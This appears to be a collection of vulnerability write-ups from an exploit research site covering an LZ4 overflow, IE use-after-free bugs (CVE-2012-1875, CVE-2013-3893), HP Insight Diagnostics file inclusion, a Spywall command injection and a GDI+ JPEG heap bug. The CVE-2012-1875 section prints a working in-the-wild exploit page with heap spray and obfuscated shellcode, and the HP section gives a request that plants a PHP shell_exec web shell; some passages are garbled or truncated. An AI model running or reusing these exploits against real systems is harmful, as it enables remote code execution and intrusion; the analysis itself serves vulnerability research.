    * Antivirus unpacking uses the official documented LZ4 (4MB max, 8MB if legacy format)
    * The latest lzo.c in FFmpeg is set at (10*1024*1024) + 16 (that’s 10MB + 16 bytes), and is allocated
    on the heap. However, matroskadec.c uses av_lzo1x_decode() with its own implementation and as
    far as I can tell there is no hard size limit.
  • The attack is most likely local

From the attacker’s perspective, it’s difficult to find apps out there that are actually vulnerable,
because so far we have not found one that exceeds 10MB, and we need something like 16MB. It’s even
more difficult to find them exploitable because of other memory corruption mitigations supported by
modern operating systems.

The fix in LZ4 can be found here (there is also a testing tool in fuzz.c):
https://github.com/Cyan4973/lz4/commit/da5373197e84ee49d75b8334d4510689731d6e90

1
Technical Analysis

Vulnerability:

the WebPartHelper Class offers the OpenInEditor() method, see typelib:


/* DISPID=8 */
function OpenInEditor(

    /* VT_VARIANT [12] [in] */ $URL
    )

{
}

By passing an null session share path to the URL argument of this method
is possible to launch an arbitrary executable.

This is because of a ShellExecuteExW() call inside RFMSsvs.dll

Analysis:

The ShellExecuteW is this one:

.text:100E9F07 loc_100E9F07: ; CODE XREF: JShellExecuteEx+1B6j
.text:100E9F07 push esi ; pExecInfo
.text:100E9F08 call ds:ShellExecuteExW

Where the pExecInfo can be partially controlled by the user:

.text:100E9EDE call ds:??BGUserText@@QBEPB_WXZ ; GUserText::operator wchar_t const *(void)
.text:100E9EE4 mov [esi+10h], eax

But just the esi+10h field of a SHELLEXECUTEINFO can be controlled:

typedef struct _SHELLEXECUTEINFO {
DWORD cbSize;
ULONG fMask;
HWND hwnd;
LPCTSTR lpVerb;
LPCTSTR lpFile; <== esi + 10h
LPCTSTR lpParameters;
LPCTSTR lpDirectory;
int nShow;
HINSTANCE hInstApp;
LPVOID lpIDList;
LPCTSTR lpClass;
HKEY hkeyClass;
DWORD dwHotKey;
union {

HANDLE hIcon;
HANDLE hMonitor;

} DUMMYUNIONNAME;
HANDLE hProcess;
} SHELLEXECUTEINFO, *LPSHELLEXECUTEINFO;

So just the lpFile can be controlled. It doesn’t allow to an awesome exploitation, but there are cases on metasploit.

Just use a WebDav to simulate a SMB resource, the target machine should have enabled the WebClient service (WebDAV Mini-Redirector). And
execute a file via an UNC path. Anyway exploitation limited to machines with WebClient enabled (Windows XPSP3 enabled by default).

1
Technical Analysis

A memory corruption flaw exists in Microsoft Internet Explorer. The program fails to sanitize
user-supplied input when handling the Same ID property, resulting in memory corruption. With a
specially crafted web page which accesses a deleted object, a context-dependent attacker can
execute arbitrary code.

Discovered by

  • Qof VulnHunt for reporting the Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875)
  • Qihoo 360 Security Center for working with us on the Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875)
  • Yichong Lin of McAfee Labs for working with us on the Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875)
  • Google Inc. for working with us on the Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875)

PoC

http://pastebin.com/raw.php?i=sFqxs4qx

<HTML>

    <BODY>
        <title></title>
        <DIV id=testfaild>
            <img id="imgTest" style="display:none">
            <a href="javascript:OnTest();" id="MyA" onClick="OnTest();"><div style="background-color:#FFFFFF; width:30; height:40" id="imgTest" src="" onMouseOver="OnTest2();" onMouseOut="OnTest2();"></div></a>
        </DIV>
        <SCRIPT LANGUAGE="JavaScript">
            function S(dword) {
                var t = unescape;
                var d = Number(dword).toString(16);
                while (d.length < 8) d = '0' + d;
                return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
            }
            function OnTest() {
                var tag = 0x1c1c1c0c;
                var vtable1 = S(tag) + '1234567555555555588888888';
                var divs = new Array();
                for (var i = 0; i < 128; i++) divs.push(document.createElement('div'));
                testfaild.innerHTML = testfaild.innerHTML;
                divs[0].className = vtable1;
                divs[1].className = vtable1;
                divs[2].className = vtable1;
                divs[3].className = vtable1;
            }
            function OnTest2() {
                eval("imgTest").src = "";
            }
            function setcookie() {
                var Then = new Date() Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 3) document.cookie = "Cookie1=hellofckworld;expires=" + Then.toGMTString()
            }
            function readcookie() {
                var cookieString = new String(document.cookie);
                if (cookieString.indexOf("hellofckworld") == -1) {
                    return 0
                } else {
                    return 1;
                }
            }
            function trigger() {
                var x = document.getElementsByTagName("div");
                var fireOnThis = document.getElementById("MyA");
                if (document.createEvent) {
                    evObj = document.createEvent('MouseEvents');
                    evObj.iniEvent('click', true, false);
                    fireOnThis.dispatchEvent(evObj);
                } else if (document.createEventObject) {
                    x[1].fireEvent('onMouseOver');
                    fireOnThis.fireEvent('onclick');
                    x[1].fireEvent('onMouseOut');
                }
            }
            function main() {
                if (readcookie()) return;
                ConVertData = window["\x75\x6e\x65\x73\x63\x61\x70\x65"];
                var vbc = ("NewYoukv10ebNewYoukv4b5bNewYoukvc933NewYoukvb966NewYoukv01d9NewYoukv3480NewYoukv990bNewYoukvfae2NewYoukv05ebNewYoukvebe8NewYoukvffffNewYoukvcfffNewYoukvcbceNewYoukv50aaNewYoukv12fdNewYoukva9e8NewYoukvef12NewYoukv1295NewYoukv85efNewYoukvc712NewYoukv1291NewYoukvb9e7NewYoukvaf12NewYoukve618NewYoukvaa95NewYoukvab99NewYoukvec99NewYoukvc376NewYoukvc7c6NewYoukvf370NewYoukv9998NewYoukvc099NewYoukv3010NewYoukv9b99NewYoukv9999NewYoukv2010NewYoukv9b9dNewYoukv9999NewYoukv2810NewYoukv9b91NewYoukv9999NewYoukv7012NewYoukv6412NewYoukv9cf3NewYoukv71c0NewYoukv989dNewYoukv9999NewYoukv607bNewYoukvcc12NewYoukv1a99NewYoukv9c5bNewYoukvb872NewYoukv14c2NewYoukv62d4NewYoukvf6f1NewYoukv99f7NewYoukvf199NewYoukvebecNewYoukvf4f5NewYoukvc8cdNewYoukv6612NewYoukv12ccNewYoukv5f75NewYoukvf198NewYoukvc010NewYoukv5f98NewYoukv9cd8NewYoukv665aNewYoukv717bNewYoukv6643NewYoukv6666NewYoukv4112NewYoukv98f3NewYoukv71c0NewYoukv9953NewYoukv9999NewYoukv607bNewYoukv1c14NewYoukv9898NewYoukv9999NewYoukvf1c9NewYoukv9899NewYoukv9999NewYoukvcc66NewYoukv109dNewYoukv651cNewYoukv9999NewYoukv5e99NewYoukv9c1dNewYoukv9898NewYoukv9999NewYoukve9ecNewYoukvf8fdNewYoukv1d5eNewYoukv9c9cNewYoukv9998NewYoukved99NewYoukvb7fcNewYoukv5efcNewYoukv9c1dNewYoukv9890NewYoukv9999NewYoukvfce1NewYoukv9999NewYoukvcc12NewYoukv1a8dNewYoukv9c5bNewYoukvbf72NewYoukv14c2NewYoukv62d4NewYoukv6faaNewYoukvcfcfNewYoukv1c14NewYoukv9898NewYoukv9999NewYoukv14c9NewYoukv81dcNewYoukvcfc9NewYoukv12c8NewYoukvcc66NewYoukv7512NewYoukv985fNewYoukv10f1NewYoukv98c0NewYoukvd85fNewYoukv5a9cNewYoukv7b66NewYoukv4c71NewYoukv6666NewYoukv1266NewYoukv91ccNewYoukv5b1aNewYoukv729cNewYoukvc2aaNewYoukvd414NewYoukvcf62NewYoukv1c12NewYoukv9965NewYoukv9999NewYoukv1c5fNewYoukv9899NewYoukv9999NewYoukv5fbbNewYoukv9c1dNewYoukv9892NewYoukv9999NewYoukv14bbNewYoukv991cNewYoukv9998NewYoukvc999NewYoukv12c8NewYoukvcc66NewYoukv7512NewYoukv985fNewYoukv10f1NewYoukv98c0NewYoukvd85fNewYoukv5a9cNewYoukv7b66NewYoukv5171NewYoukv6666NewYoukv1266NewYoukv9934NewYoukv999bNewYoukv1299NewYoukv9d24NewYoukv999bNewYoukv1299NewYoukv912cNewYoukv999bNewYoukv1299NewYoukv1a7cNewYoukv8975NewYoukv9921NewYoukv6796NewYoukvaae6NewYoukv5a42NewYoukvccc8NewYoukvea12NewYoukv12a5NewYoukv87edNewYoukv9ae1NewYoukvcf6aNewYoukvef12NewYoukv9ab9NewYoukvaa6aNewYoukvd050NewYoukv34d8NewYoukv5a9aNewYoukv74aaNewYoukv2796NewYoukva389NewYoukved4fNewYoukv5891NewYoukv9e54NewYoukv739aNewYoukv72d9NewYoukva268NewYoukvecb6NewYoukvc77eNewYoukvf712NewYoukv9abdNewYoukvff72NewYoukvd512NewYoukv99d4NewYoukvf712NewYoukv9a85NewYoukv1272NewYoukv14ddNewYoukv9a99NewYoukv325aNewYoukvc0c4NewYoukv715aNewYoukv6708NewYoukv6666NewYoukvedabNewYoukv9508NewYoukv7ba0NewYoukv1ae4NewYoukvb6c8NewYoukv983bNewYoukvfc39NewYoukv520eNewYoukv10faNewYoukvd648NewYoukv4f19NewYoukv0336NewYoukvedf1NewYoukve9edNewYoukvb6a3NewYoukveeb6NewYoukveeeeNewYoukvefb7NewYoukvf5f0NewYoukvf8f5NewYoukvfefeNewYoukvf4f0NewYoukvf7f8NewYoukvf8f0NewYoukvf0b7NewYoukvb6edNewYoukvf4f0NewYoukvb6feNewYoukvf6fbNewYoukvf2f6NewYoukvb7eaNewYoukvf8faNewYoukv99fb");
                var xbc = ConVertData(vbc.replace(/NewYoukv/g, "%u"));
                var a = new Array();
                var ls = 0x100000 - (xbc.length * 2 + 0x01020);
                var bc = S(0x1c1c1c0c);
                var pad = S(0x1c1c1c0c);
                while (pad.length < 0x3000) pad += pad;
                bc = pad.substring(0, (0x1c0c - 0x24) / 2);
                var language;
                if (navigator.appName == 'Netscape') language = navigator.language;
                else language = navigator.browserLanguage;
                var myStr = ("NewYoukvef5bNewYoukv77c1NewYoukvf519NewYoukv77c1NewYoukv1118NewYoukv77c1NewYoukv3e25NewYoukv77c2NewYoukv746aNewYoukv77c3NewYoukv1c8cNewYoukv1c1cNewYoukv1c8cNewYoukv1c1cNewYoukv1000NewYoukv0000NewYoukv0040NewYoukv0000NewYoukv1c4cNewYoukv1c1cNewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv5ed5NewYoukv77c1NewYoukv9090NewYoukv9090NewYoukv9090NewYoukv9090NewYoukv9090NewYoukv9090");
                myStr = ConVertData(myStr.replace(/NewYoukv/g, "%u"));
                bc += myStr;
                bc += xbc;
                bc += S(0) + S(0);
                var b = S(0x1c1c1c0c);
                while (b.length < 0x10000) {
                    b += b;
                }
                bc = bc + b;
                b = bc.substring(0, 0x10000 / 2);
                while (b.length < ls) {
                    b += b;
                }
                var lh = b.substring(0, ls / 2);
                delete b;
                delete pad;
                lh = lh + xbc;
                for (var i = 0; i < 0x1c0; i++) a[i] = lh.substr(0, lh.length);
                setTimeout("trigger();", 1000);
                setcookie();
            }
            main();
        </SCRIPT>
    </BODY>

</HTML>

Details

Crash

(a9c.998): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for C:\WINDOWS\system32\mshtml.dll -
eax=1c1c1c0c ebx=00000000 ecx=02fdf588 edx=00000001 esi=02fdf588 edi=020bbaf0
eip=6363fcc6 esp=020bba88 ebp=020bba94 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!DllGetClassObject+0xafd09:
6363fcc6 8b5070          mov     edx,dword ptr [eax+70h]
ds:0023:1c1c1c7c=????????

SPRAY HOW TO

0:008> db 1c1c1024 L1000
1c1c1024  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
.
.
.
2023

Digging into the crash

0:008> kb
ChildEBP RetAddr  Args to Child
020bba84 63660eed 80020003 00176778 020bbaa4 mshtml!CElement::Doc+0x2
020bba94 63660f5a 00000000 00000348 020bbaf8 mshtml!CElement::GetAtomTable+0x10
020bbaa4 635b6bb7 033b49ac 00000003 00176701 mshtml!CCollectionCache::GetAtomFromName+0x15
020bbaf8 635e7b76 0023f4d8 033b49ac 00000003 mshtml!CCollectionCache::GetIntoAry+0x74
020bbb3c 635e7c20 0000000e 033b49ac 020bbc28 mshtml!CCollectionCache::GetDispID+0x13e
020bbb50 635d36b0 0023f4d8 0000000e 033b49ac mshtml!DispatchGetDispIDCollection+0x3f
020bbb78 63643d3e 03137230 033b49ac 10000003 mshtml!CElementCollectionBase::VersionedGetDispID+0x46
020bbbb8 633a9eb2 03137260 033b49ac 10000003 mshtml!PlainGetDispID+0xdc
020bbbe8 633a9e13 033b49ac 020bbc28 03137260 jscript!IDispatchExGetDispID+0xb7
020bbc04 633a9f17 008da788 020bbc28 00000003 jscript!GetDex2DispID+0x34
020bbc30 633a77ff 008da788 020bbc64 0000000c jscript!VAR::InvokeByName+0xeb
020bbc78 633a75bf 008da788 0000000c 00000000 jscript!VAR::InvokeDispName+0x7a
020bbe0c 633a5ab0 020bbe24 020bbf6c 020bbf6c jscript!CScriptRuntime::Run+0x1f27
020bbef4 633a59f7 020bbf6c 00000000 008de830 jscript!ScrFncObj::CallWithFrameOnStack+0xff
020bbf40 633a5743 020bbf6c 00000000 008de830 jscript!ScrFncObj::Call+0x8f
020bbfbc 633a8bc7 008dc830 020be3b8 00000000 jscript!CSession::Execute+0x175
020bc0a4 633a8a35 008dc830 00000000 00000001 jscript!NameTbl::InvokeDef+0x1b8
020bc128 633a6d37 008dc830 00000000 00000001 jscript!NameTbl::InvokeEx+0x129
020bc168 633a6c75 008da788 00000000 00000001 jscript!IDispatchExInvokeEx2+0xf8
020bc1a4 63399186 008da788 00000001 00000001 jscript!IDispatchExInvokeEx+0x6a
020bc234 635fe083 020bc1f8 00000004 00000001 jscript!NameTbl::InvokeEx+0x372
020bc26c 635fdfab 02dc8a18 00000001 00000001 mshtml!CScriptCollection::InvokeEx+0x8a
020be2e0 63642f30 02d1e060 00002712 00000001 mshtml!CWindow::InvokeEx+0x6a9
020be308 63642eec 02d1e060 00002712 00000001 mshtml!CBase::VersionedInvokeEx+0x20
020be358 63643898 031371a0 00002712 00000001 mshtml!PlainInvokeEx+0xea
020be3c8 636435c4 02d17200 00002712 00000001 mshtml!COmWindowProxy::InvokeEx+0x338
020be3f0 63642f30 02d17200 00002712 00000001 mshtml!COmWindowProxy::subInvokeEx+0x26
020be418 63642eec 02d17200 00002712 00000001 mshtml!CBase::VersionedInvokeEx+0x20
020be468 633a6d37 0020d2e0 00002712 00000001 mshtml!PlainInvokeEx+0xea
020be4a8 633a6c75 008da788 00002712 00000409 jscript!IDispatchExInvokeEx2+0xf8
020be4e4 633a9cfe 008da788 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
020be5a4 633a9d79 00002712 00000001 00000000 jscript!InvokeDispatchEx+0x98
020be5d0 633a9c0b 008da788 00000000 00000001 jscript!VAR::InvokeByDispID+0x154
020be76c 633a5ab0 020be784 020be8cc 020be8cc jscript!CScriptRuntime::Run+0x2989
020be854 633a59f7 020be8cc 00000000 008de8d0 jscript!ScrFncObj::CallWithFrameOnStack+0xff
020be8a0 633a5743 020be8cc 00000000 008de8d0 jscript!ScrFncObj::Call+0x8f
020be91c 633a8bc7 033a6348 020beb60 00000000 jscript!CSession::Execute+0x175
020bea04 633a8a35 033a6348 00000000 00000001 jscript!NameTbl::InvokeDef+0x1b8
020bea88 635c3039 033a6348 00000000 00000409 jscript!NameTbl::InvokeEx+0x129
020bead8 635c2f51 03182d38 033a6348 00000000 mshtml!CBase::InvokeDispatchWithThis+0x1e0
020bec04 636294ce 80010009 80011771 03137710 mshtml!CBase::InvokeEvent+0x213
020bed64 635f377c 03182d38 02d03060 03182d38 mshtml!CBase::FireEvent+0xe2
020beddc 6362b142 03182d38 02dc8f40 ffffffff mshtml!CElement::BubbleEventHelper+0x2e3
020bef40 63783dd6 63649344 00000000 02dc8f40 mshtml!CElement::FireEvent+0x2d1
020bf080 638e6827 03182d38 033b4b88 020bf0b8 mshtml!CElement::fireEvent+0x185
020bf0c8 636430c9 03182d38 008d8f80 031371d0 mshtml!Method_VARIANTBOOLp_BSTR_o0oVARIANTp+0xfb
020bf13c 6366418a 03182d38 80010452 00000001 mshtml!CBase::ContextInvokeEx+0x5d1
020bf18c 6362b6ce 03182d38 80010452 00000001 mshtml!CElement::ContextInvokeEx+0x9d
020bf1b8 63642eec 03182d38 80010452 00000001 mshtml!CElement::VersionedInvokeEx+0x2d
020bf208 633a6d37 03137620 80010452 00000001 mshtml!PlainInvokeEx+0xea
020bf248 633a6c75 008da788 80010452 00000409 jscript!IDispatchExInvokeEx2+0xf8
020bf284 633a9cfe 008da788 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
020bf344 633a9f3c 80010452 00000001 00000000 jscript!InvokeDispatchEx+0x98
020bf378 633a77ff 008da788 020bf3ac 00000001 jscript!VAR::InvokeByName+0x135
020bf3c4 633a85c7 008da788 00000001 00000000 jscript!VAR::InvokeDispName+0x7a
020bf3f4 633a9c0b 008da788 00000000 00000001 jscript!VAR::InvokeByDispID+0xce
020bf590 633a5ab0 020bf5a8 00000000 00000000 jscript!CScriptRuntime::Run+0x2989
020bf678 633a59f7 00000000 00000000 008de980 jscript!ScrFncObj::CallWithFrameOnStack+0xff
020bf6c4 633a92f7 00000000 00000000 008de980 jscript!ScrFncObj::Call+0x8f
020bf748 633a6650 008defa8 008da788 00000001 jscript!NameTbl::InvokeInternal+0x137
020bf778 633a9c0b 008da788 00000000 00000001 jscript!VAR::InvokeByDispID+0x17c
020bf914 633a5ab0 020bf92c 020bfa74 020bfa74 jscript!CScriptRuntime::Run+0x2989
020bf9fc 633a59f7 020bfa74 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xff
020bfa48 633a5743 020bfa74 00000000 00000000 jscript!ScrFncObj::Call+0x8f
020bfac4 633a8bc7 008dedc0 020bfcd4 00000000 jscript!CSession::Execute+0x175
020bfbac 633a8a35 008dedc0 00000000 00000001 jscript!NameTbl::InvokeDef+0x1b8
020bfc30 633a9153 008dedc0 00000000 00000000 jscript!NameTbl::InvokeEx+0x129
020bfc58 636867fa 008dedc0 00000000 63633600 jscript!NameTbl::Invoke+0x70
020bfcec 6368675a 02d1e060 02decc60 00239040 mshtml!CWindow::ExecuteTimeoutScript+0x87
020bfd44 6368664a 02d1e060 02d1e0a2 020bfd78 mshtml!CWindow::FireTimeOut+0xb6
020bfd54 63686656 0000202b 020bfde0 6363c317 mshtml!CStackPtrAry<unsigned long,12>::GetStackSize+0xb6
020bfd78 7e418734 001005d8 00000011 0000202b mshtml!GlobalWndProc+0x183
020bfda4 7e418816 6363c317 001005d8 00000113 USER32!InternalCallWinProc+0x28
020bfe0c 7e4189cd 00000000 6363c317 001005d8 USER32!UserCallWinProcCheckWow+0x150
020bfe6c 7e418a10 020bfe94 00000000 020bfeec USER32!DispatchMessageWorker+0x306
020bfe7c 01252ec9 020bfe94 00000000 008d5d00 USER32!DispatchMessageW+0xf
020bfeec 011f48bf 001703f8 00000001 00150390 IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
020bffa4 5de05a60 008d5d00 0fbc002f 020bffec IEFRAME!LCIETab_ThreadProc+0x2c1
020bffb4 7c80b713 00150390 00000001 0fbc002f iertutil!CIsoScope::RegisterThread+0xab
020bffec 00000000 5de05a52 00150390 00000000 kernel32!BaseThreadStart+0x37

Crashing here in IE8 XP SP3

.text:6363FCC4 ; public: class CDoc * __thiscall CElement::Doc(void)const
.text:6363FCC4                 mov     eax, [ecx]
.text:6363FCC6                 mov     edx, [eax+70h]
.text:6363FCC9                 call    edx
.text:6363FCCB                 mov     eax, [eax+0Ch]
.text:6363FCCE                 retn

References

http://www.osvdb.org/show/osvdb/82865

1
Technical Analysis

Exploit Hash: 203aa9b2439cfab4ff1678a227be9a9a

Information

CVE-2013-3893 is a use-after-free vulnerability that affects Internet Explorer versions 6/7/8/9/10/11.
It was initially found being exploited in Japan. A fix-it workaround is already available at the time
of the writing, no information on when Microsoft will release an official final to address the IE flaw.

A sample of the exploit (in the wild) can be found on VirusTotal, scrumware.org, and jsunpack.

The exploit in the wild is written to target IE8/9, Win XP and Windows 7. Under Win XP, the code is
specifically tweaked to work against languages including English, Chinese, Japanese, Korean, although
its fingerprinting code actually checks these languages: English, Chinese, French, German, Japanese,
Portuguese, Korean, and Russian. It is safe to say it’s designed to work against Windows machines in
Asia, hard to why other languages are fingerprinted but not tweaked. Either because the author was
lazy to test them, and the fingerprinting code was a lazy copy-and paste. Or, they can be exploited
successfully without any tweaks. Under Windows 7, Office 2007 is also required to engauge the target,
however the fingerprinting code also checks Office 2010, which seems rather unnecessary. The exploit
will attempt again and again until either the browser crashes, or indefinitely. After exploitation,
the exploit will set a cookie on the victim machine as a way to avoid hitting the same target again.

The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a reference during
an event. An attacker first can setup two elements, where the second is the child of the first, and
then setup a onlosecapture event handler for the parent element. The onlosecapture event seems to
require two setCapture() calls to trigger, one for the parent element, one for the child. When the
setCapture() call for the child element is called, it finally triggers the event, which allows the
attacker to cause an arbitrary memory release using document.write(), which in particular frees up
a 0x54-byte memory. The exact size of this memory may differ based on the version of IE. After the
free, an invalid reference will still be kept and pass on to more functions, eventuall this arrives
in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary code execution) when
this function attempts to use this reference to call what appears to be a PrivateQueryInterface due
to the offset (0x00).

1
Technical Analysis

Environment:

Tested on both windows and linux (x32) platforms.

The installation requires HP Insight Diagnostics Online Edition & HP System
Management Homepage for Windows or Linux

Used HP System Management Homepage 7.2.0.14 and several versions of HP Insight
Diagnostics Online Edition from 9.1.0.4458 until 9.4.0-562. (Also tested from
branch 8).

VMWare

Unfortunately is not possible to execute HP Insight Diagnostics by default,
because it isn’t a supported manufacturer. The insight solution uses the
encrypted supportesystems.dat in order to have a list os fupported
manufacturers. A Decryptor class in Ruby has been programmed in order to decrypt
the orignal supportesystems.dat, after it a custom Manufacturer (VMWare) can be
added in order to execute HP Insight under VMware, then the file should be
encrypted again (The Decryptor class also allow to encrypt)

Access to the vulnerable components:

Access to the HP System Management Homepage should be granted in order to use
the vulnerable webapp installed with HP Insight. Anonymous access can be
configured for HP System Management Homepage, which would make this vuln
specially interesting.

Vulnerable components:

Both components hpdiags/frontend2/commands/saveCompareConfig.php and
hpdiags/frontend2/help/pageview.php are available after installation.

Vulnerabilities analysis:

CVE-2013-3575 has been found in code as expected, allowing for a restricted PHP
local file inclusion:

if (strpos($_GET['path'], '..') !== false ||
    strpos($_GET['path'], '.htm') === false)
  exit('Invalid Path');
// append path to the help directory to ensure we are in the right spot
$path = realpath(dirname(__FILE__) . '/' . $_GET['path']);

Later:

if (!isset($_GET['word']))
{
  include_once $path;
}

But CVE-2013-3574 has not been found. Indeed the exploit vector published at the
original advisory:

https://<host>:2381/hpdiags/frontend2/commands/saveCompareConfig.php?filename=comparesurvey&target=winhardrive&device=&devicePath=C:/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/&category=all&advanced=yes&leftFile=surveybase.xml&leftFileName=<%3f=shell_exec($_REQUEST[0])%3b%3f>&rightFile=survey.lastwebsession.xml&rightFileName=-&changesOnly=yes&overwrite=yes

Is only available through a (guessing old) and unused (commented) FileSaver
class (hpdiags/frontend2/includes/filesaver.class.php):

/* <== Commented!
class FileSaver
{
  function doesFileExist($filename, $extension, $target, $mount, $device)
  {
    if ($target == 'winfloppy')
      $mount = 'a:/';
    else if ($mount{strlen($mount)-1} != '/')
      $mount .= '/';
    $filename .= ('.' . $extension);
    $filepath = ($mount . $filename);
    if ($target != 'winfloppy' &&
        $target != 'winhardrive' &&
        $target != 'hardrive')
    {
      $unmountDirectory = true;
(cut)

But by using the new FileSaver class the exploit vector commented above isn’t available anymore. Even when still is possible save an array to a file:

  function saveArrayToFile($filename, $extension, $devicePath, $array)
  {
    $filename = sprintf("%s.%s", $filename, $extension);
    $tempFileName = sprintf("%s.temp_%s", $filename, $extension, date("YmdHis"));
    $tempFilePath = FileSaver::saveArrayToTempDirectory($tempFileName, $array);
    $stdout = AIBridge::copyFileToSaveDevice($tempFilePath, $devicePath, $filename);

    $xml = new XMLDocument($stdout);
    if ($xml)
    {
      $document = $xml->document_element();
      if ($document->tagname() == 'error')
      {
        FileSaver::log($document->get_content());
        @ unlink($tempFilePath);
        return false;
      }
      else if ($document->tagname() != "success")
      {
        FileSaver::log($stdout);
        @ unlink($tempFilePath);
        return false;
      }
    }
    else
    {
      FileSaver::log("Invalid XML: $stdout");
      @ unlink($tempFilePath);
      return false;
    }
    @ unlink($tempFilePath);
    return true;
  }

ButinthisimplementationtheAIBridgeclassisusedtocopythefiletoasavedevice:

$stdout = AIBridge::copyFileToSaveDevice($tempFilePath, $devicePath, $filename);

The AIBridge class is a way of passing commands to the hpdiagsai.exe (or
hpdiagsai) binary.

In order to make a copyFileToSaveDevice a copyFileToRemovableMediaDevice command
is issued. Unfortunately, the command isn’t available on windows:

[!] Command
<?xml version="1.0" encoding="UTF-8"?>
<copyFileToRemovableMediaDevice srcPath="C:/hp/hpsmh/session/php/comparesurvey.html.temp_html" devicePath="C:/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/" filename="comparesurvey.html"/>

[!] Response

<error>../../src/common/diagprocessmain.cpp(line 523), Invalid command</error>

And in linux a removable device should be provided:

2013-01-24 00:47:20
aicommand: IN:

<?xml version="1.0" encoding="UTF-8"?>
<copyFileToRemovableMediaDevice srcPath="/opt/hp/hpsmh/session/php/comparesurvey.html.temp_html" devicePath="/opt/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/" filename="comparesurvey.html"/>

2013-01-24 00:47:20
aicommand: OUD:
<error>mount failed: source is not a block device (and a device was required).</error>
1
Technical Analysis

—\” >> logging”);
exec(“echo \“route >> logging\” >> networkScript”);
echo “executing script<br/>”;
exec(“./networkScript”);
?>
</body>
</html>

Analysis of the command injection

echo “ifconfig eth0 netmask “. \(HTTP_POST_VARS["subnet"] ." ". \)HTTP_POST_VARS[“ip”] .“;” >> networkScript

“;” + payload.encoded + “;#”

**/spywall/network.php**

```php
<?php

require_once('includes/spywall_api.php');
/*
$wan = 'eth0';
$lan = 'eth1';
$management = 'eth2';
$mon = 'eth3';
$savename = '';

$model = exec('cat /tmp/appliancemodel');
if ($model == '007' || $model == '009') {
	// different ethernet device numbers for these models
	$management = 'eth0';
	$mon = 'eth3';
	$wan = 'eth5';
	$lan = 'eth6';
}
*/
$portMap = getPortMap();
$management = $portMap['mgmt'];
$mon = $portMap['monitor'];
$wan = $portMap['wan'];
$lan = $portMap['lan'];

$device = '';
if ($_POST['name'] == 'lan') {
	$device = $lan;
	$savename = 'LAN';
} else if ($_POST['name'] == 'wan') {
	$device = $wan;
	$savename = 'WAN';
} else if ($_POST['name'] == 'monitor') {
	$device = $mon;
	$savename = 'MON';
} else {
	$device = $management;
	$savename = 'MAN';
}

if (strlen($device)) {
	// set autonegotiation, duplex (if it isn't set to unknown),
	// and speed (if it isn't set to unknown)
	exec("sudo /sbin/ethtool -s $device autoneg ". $_POST['auto'] .((isset($_POST['duplex']) && $_POST['duplex'] != 'unknown')?(" duplex ". $_POST['duplex']):'') .((isset($_POST['speed']) && $_POST['speed'] != 'unknown')?(" speed ". $_POST['speed']):''));

        exec("sudo /bin/rm -f /home/admin/autoconfig". $savename);
	// save info to autoconfig file
	exec("echo \"/sbin/ethtool -s $device autoneg ". $_POST['auto'] .((isset($_POST['duplex']) && $_POST['duplex'] != 'unknown')?(" duplex ". $_POST['duplex']):'') .((isset($_POST['speed']) && $_POST['speed'] != 'unknown')?(" speed ". $_POST['speed']):'') ."\" > /home/admin/autoconfig". $savename);
//	echo "\"/sbin/ethtool -s $device autoneg ". $_POST['auto'] .(($_POST['duplex'] != 'unknown')?(" duplex ". $_POST['duplex']):'') .(($_POST['speed'] != 'unknown')?(" speed ". $_POST['speed']):'') ."\" > /home/admin/autoconfig". $savename;
	sleep(5);	// we sleep because otherwise we get back before the changes take effect
}

?>
<script language="javascript"> window.location="admin_advanced.php";</script>
1
Technical Analysis

See #7

So what happens is that:

1. The function grabs the value 98 b8 ff ff from the trigger file at offset 00003320h. This DWORD value
   is translated as 0xffffb898.
2. The function grabs another byte (44) using movzx
3. In the loc_44153C77 loop, the function looks for the first byte of every DWORD starting at file offset
   00003320h+4, until the counter runs out. By the time we're out of the loop, EAX is 0xffffeaec. So this
   also means that in the file, the chunk starting at 00003320h+4 is part of the algorithm used to calculate
   the heap size.
4. The HeapAllc size loaded is done with this: lea eax, [eax+ecx*2+8], where eax at this point is
   0xffffeaec, ecx is 44. So what it's doing is: 0xffffeaec + 0x44 * 2 + 8, this gets us 0xffffeb7c in EAX
5. The final calculation of the HeapAlloc size is eax + esi (image length also obtained from the file), so
   that means 0xffffeb7c + 0x00001484, and on a 32-bit machine this ends up being: 00000000.
6. HeapAlloc attempts to allocate a buffer with size 0, but it'll throw you a chunk awright.
7. The same chunk is used for memcpy. This chunk contains a pointer that OGL!GdipCreatePath will use later.

So since we have control of the source (JFIF data), we can overwrite OGL!GdipCreatePath's pointer,
and have direct control of the CALL instruction. By using a heap spray, we can set up the memory
layout and tell the CALL instruction where to go.


# ActiveX heap spray

The payload is basically a bin file from the ActiveX folder in the docx "file", in memory it looks
like (see ActiveX1.bin for example):

0:000> dc 1539bde1+3+4 L100
1539bde8 08080808 08080808 08080808 08080808 …………….
